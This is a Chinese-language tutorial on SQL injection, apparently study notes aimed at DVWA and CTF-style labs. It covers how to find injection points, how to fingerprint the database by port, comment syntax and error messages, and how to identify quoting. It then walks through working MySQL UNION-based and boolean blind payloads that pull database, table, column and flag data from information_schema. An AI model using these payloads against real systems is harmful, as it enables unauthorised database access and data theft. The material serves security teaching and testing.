一、SQL注入三要素
1、用户可以对输入的参数值进行修改。
2、后端不对用户输入的参数值进行严格过滤。
3、用户修改后的参数值可以被带入后端中成功执行,并返回一定结果。
二、SQL注入原理
简单来说,用户输入的值会被插入到SQL语句中,然后发送到数据库执行,当用户输入的内容经过引号或者双引号等东西的闭合,造成用户输入的内容被解析成SQL指令去执行。
例如:用户输入的参数会被插入到$id上。
"SELECT * FROM users WHERE id=$id LIMIT 0,1"
而用户可以通过输入参数将SQL语句修改成一下语句,进而在数据库运行获得想要的数据。
"SELECT * FROM users WHERE id=-1 union select 1,database(),version() LIMIT 0,1"
SQL 注入攻击:通过构建特殊的输入作为参数传入 Web 应用程序,而这些输入大都是SQL 语法里的一些组合,通过执行SQL 语句进而执行攻击者所要的操作。
SQL 注入主要原因:程序没有细致地过滤用户输入的数据,致使非法数据入侵系统,出现开发人员预期外的事件。
三、SQL分类
四、SQL注入流程
1.判断SQL注入点
表单提交:POST 请求、GET 请求
URL 参数提交:GET 请求参数
HTTP 请求头部:Referer(IP地址源)、User_Agent(用户代理UA注入)、X-Forwared-ForCookie(XFF注入)
2、判断数据库类型
判断网站使用的是哪个数据库,常见数据库如:
MySQL、MSSQL(即SQLserver)、Oracle、Access、PostgreSQL、db2等等
常用SQL注入判断数据库方法
● 使用数据库特有的函数来判断
● 使用数据库专属符号来判断,如注释符号、多语句查询符等等
● 报错信息判断
● 数据库特性判断
端口扫描
如果可以使用Nmap对主机进行端口扫描,可以根据是否开启对应端口,来大概判断数据库类型。
Oracle
默认端口号:1521
SQL Server
默认端口号:1433
MySQL
默认端口号:3306
PostgreSql
默认端口号:5432
根据注释符判断
“#”是MySQL中的注释符,返回错误说明该注入点可能不是MySQL,另外也支持’-- ',和/* */注释(注意mysql使用-- 时需要后面添加空格)
“null”和“%00”是Access支持的注释。“--”是Oracle和MSSQL支持的注释符,如果返回正常,则说明为这两种数据库类型之一。
“;”是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库。
根据其返回的错误类型
ORACLE
ORA-01756:quoted string not properly terminated
ORA-00933:SQLcommand not properly ended
MS-SQL
Msg 170,level 15, State 1,Line 1
Line 1:Incorrect syntax near ‘foo
Msg 105,level 15,state 1,Line 1
Unclose quotation mark before the character string ‘foo
MYSQL
SQL Server
基于数据库特性
某些函数为数据库所特有,可以判断通过执行特殊的函数来判断数据库类型。
3.判断参数类型
判断闭合方式
使用双引号”、单引号‘、括号)等,判断参数的闭合方式,如果是双引号,则在参数键入一个双引号会报错。如果是单引号或者括号,则对应键入单引号或括号会报错。
数值型
数值型不带任何符号,键入任何符号都会报错。
select * from user where username = 1;
字符型
字符型带符号,需要键入相对应的符号,进行闭合方式的判断。
select * from user where username = "zhangsan";
闭合:可以使得原语句参数位置结束,方便我们插入新恶意语句,使得恶意语句被当作SQL语句来命令执行。
4.利用注入方式
MYSQL的系统表
information_schema
select * from information_schema.COLUMNS
//查询系统表结构
表名 | 注释 |
schemata |
提供了当前mysql实例中所有数据库的信息。是show databases的结果取之此表 |
tables |
提供了关于数据库中的表的信息(包括视图)。详细表述了某个表属于哪个schema、表类型、表引擎、创建时间等信息。show tables from schemaname的结果取之此表 |
columns |
提供了表中的列信息。详细表述了某张表的所有列以及每个列的信息。show columns from schemaname.tablename的结果取之此表 |
MYSQL的注释方式
--%20(url编码%20相当于空格,相当于--+)、#(在url里不可用)
联合注入
通过修改闭合参数,添加修改查询SQL语句,以此获得目标信息。
1.联合查询语句构造步骤:
a.确定查询的列数:通过构造不同的注入语句并观察返回结果的变化,逐渐增加联合查询语句中的列数,直到不再返回错误或异常。
通过Order获取确定的列数,一直尝试直到不报错。
?id=2' order by 3 --+
//1后的单引号需要根据闭合情况作出修改,--+为注释将SQL语句参数后面部分清除。
b.确定可用的列:通过构造注入语句并使用 UNION SELECT 语句,逐个测试每个列,以确定哪些列返回了有效的数据。
通过Select获取有回显的有效列
?id=-2' union select 1,2,3 --+
//1后的单引号需要根据闭合情况作出修改,--+为注释将SQL语句参数后面部分清除。
可以发现具有回显的有效列为2和3。
c.获取表数据:使用注入语句和SELECT 语句来获取表中的数据。
2.联合查询语句
确定了具体的列数和有效回显列后,就可编写具体的联合查询语句获得相关的数据。
获取数据库名和版本信息;
?id=-1' union select 1,database(),version() --+
//1后的单引号需要根据闭合情况作出修改,--+为注释将SQL语句参数后面部分清除。
获取表名信息,其中group_concat(table_name)
是一个MySQL函数,用于将查询结果中的多个行合并成一个字符串,并以逗号分隔;
?id=1' union select 1,group_concat(table_name) from information_schema.tables where TABLE_SCHEMA=database()#
//1后的单引号需要根据闭合情况作出修改,#为注释将SQL语句参数后面部分清除。
获取表内的列名信息
1' union select 1,group_concat(COLUMN_NAME) from information_schema.columns where TABLE_NAME='users' and TABLE_SCHEMA='dvwa'#
//1后的单引号需要根据闭合情况作出修改,#为注释将SQL语句参数后面部分清除。
布尔盲注
布尔盲注,与普通注入的区别在于“盲注”。在注入语句后,盲注不是返回查询到的结果,而只是返回查询是否成功,即:返回查询语句的布尔值。因此,盲注要盲猜试错。由于只有返回的布尔值,往往查询非常复杂,一般使用脚本来穷举试错。
1.盲注思路
盲注需要考虑多种情况,一般思路如下:
- 爆库名长度
- 根据库名长度爆库名
- 对当前库爆表数量
- 根据库名和表数量爆表名长度
- 根据表名长度爆表名
- 对表爆列数量
- 根据表名和列数量爆列名长度
- 根据列名长度爆列名
- 根据列名爆数据值
2.盲注原理
正确的情况和错误的情况返回的页面不一样
?id=3' and 1=1 --+
//1后的单引号需要根据闭合情况作出修改,--+为注释将SQL语句参数后面部分清除。
上面是结果为真页面
?id=3' and 1=2 --+
//1后的单引号需要根据闭合情况作出修改,--+为注释将SQL语句参数后面部分清除。
上面是结果为假页面
通过穷举,验证真假,可以猜出数据库的信息。
3.盲注常用函数
substr(str,from,length)
:返回从下标为from截取长度为length的str子串。首字符下标为1。
length(str)
:返回str串长度
4.盲注步骤
爆数据库名长度
首先,通过循环i从1到无穷,使用length(database()) = i
获取库名长度,i是长度,直到返回页面提示query_success即猜测成功
?id=1' and length(database())>1 --+
?id=1' and length(database())>2 --+
?id=1' and length(database())>3 --+
....
//单引号需要根据闭合情况作出修改,--+为注释将SQL语句参数后面部分清除。
这里推荐用二分查找法找出具体的长度信息
根据库名长度爆库名
获得库名长度i后,使用substr(database(),i,1)
将库名切片,循环i次,i是字符下标,每次循环要遍历字母表[a-z]作比较,即依次猜每位字符。注意substr(database,i,1),i从1开始(第i个字符)
?id=1' and substr(database(),1,1)='a' --+
//1后单引号需要根据闭合情况作出修改,--+为注释将SQL语句参数后面部分清除。
这部分可以写脚本进行自动化测试。
对当前库爆表数量
下一步是获取数据库内的表数量,使用mysql的查询语句select COUNT(*)
。同样,要一个1到无穷的循环。
?id=1' and (select COUNT(*) from information_schema.tables where table_schema=database())=1 --+
//1后单引号需要根据闭合情况作出修改,--+为注释将SQL语句参数后面部分清除。
根据库名和表数量爆表名长度
得到表数量i后,i就是循环次数,i是表的下标-1,大循环i次(遍历所有表),这里的i从0开始,使用limit i ,1
限定是第几张表,内嵌循环j从1到无穷(穷举所有表名长度可能性)尝试获取每个表的表名长度。
?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=1 --+
//1后单引号需要根据闭合情况作出修改,--+为注释将SQL语句参数后面部分清除。
//limit 0,1 表示从第0条记录开始,取出1条结果。MYSQL中索引从0开始,所以取出的是第0条记录。
//要有两个括号
根据表名长度爆表名
再大循环i次(遍历所有表),内嵌循环j次(表名的所有字符),i是表下标-1,j是字符下标,再内嵌循环k从a到z(假设表名全是小写英文字符)尝试获取每个表的表名。
?id=1' and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='a' --+
//1后单引号需要根据闭合情况作出修改,--+为注释将SQL语句参数后面部分清除。
//limit 0,1:其中0可修改,用于遍历所有表,从0开始,到表数量-1。
//substr(str,from,length):from可以从1遍历到表长度,length固定为1。
//再遍历等于a到z
对表爆列数量
操作同对当前库爆表数量的步骤,只是要查询的表为information_schema.columns。
?id=1' and (select COUNT(*) from information_schema.columns where table_schema=database() and table_name='flag')=1 --+
//flag要改为上一步获得的表名
//1后单引号需要根据闭合情况作出修改,--+为注释将SQL语句参数后面部分清除。
根据表名和列数量爆列名长度
操作同对当前库爆表名长度的步骤,遍历0~列数-1
?id=1' and length((select COLUMN_NAME from information_schema.columns where table_schema='dvwa' and table_name='users' limit i,1))=1 --+
//1后单引号需要根据闭合情况作出修改,--+为注释将SQL语句参数后面部分清除。
根据列名长度爆列名
操作同对当前库爆表名的步骤
?id=1' and substr((select columns_name from information_schema.columns where table_schema=database() and table_name='flag' limit i,1),j,1)='a' --+
//i遍历列0~列数-1
//j遍历列各个字符1~列长度
根据列名爆数据
flag有固定的格式,以右花括号结束,假设flag有小写英文字母、下划线、花括号构成,由于不知道flag长度,要一个无限循环,定义计数符j,内嵌循环i遍历小写、下划线和花括号,匹配到字符后j++,出循环的条件是当前i是右花括号,即flag结束。
?id=1' and substr((select flag from sqli.flag limit i,1),j,1)='}' --+
//遍历flag列的每一行查看是否符合flag的格式,符合即可得出答案。
//i从0~行数-1
//j从1到字符串长度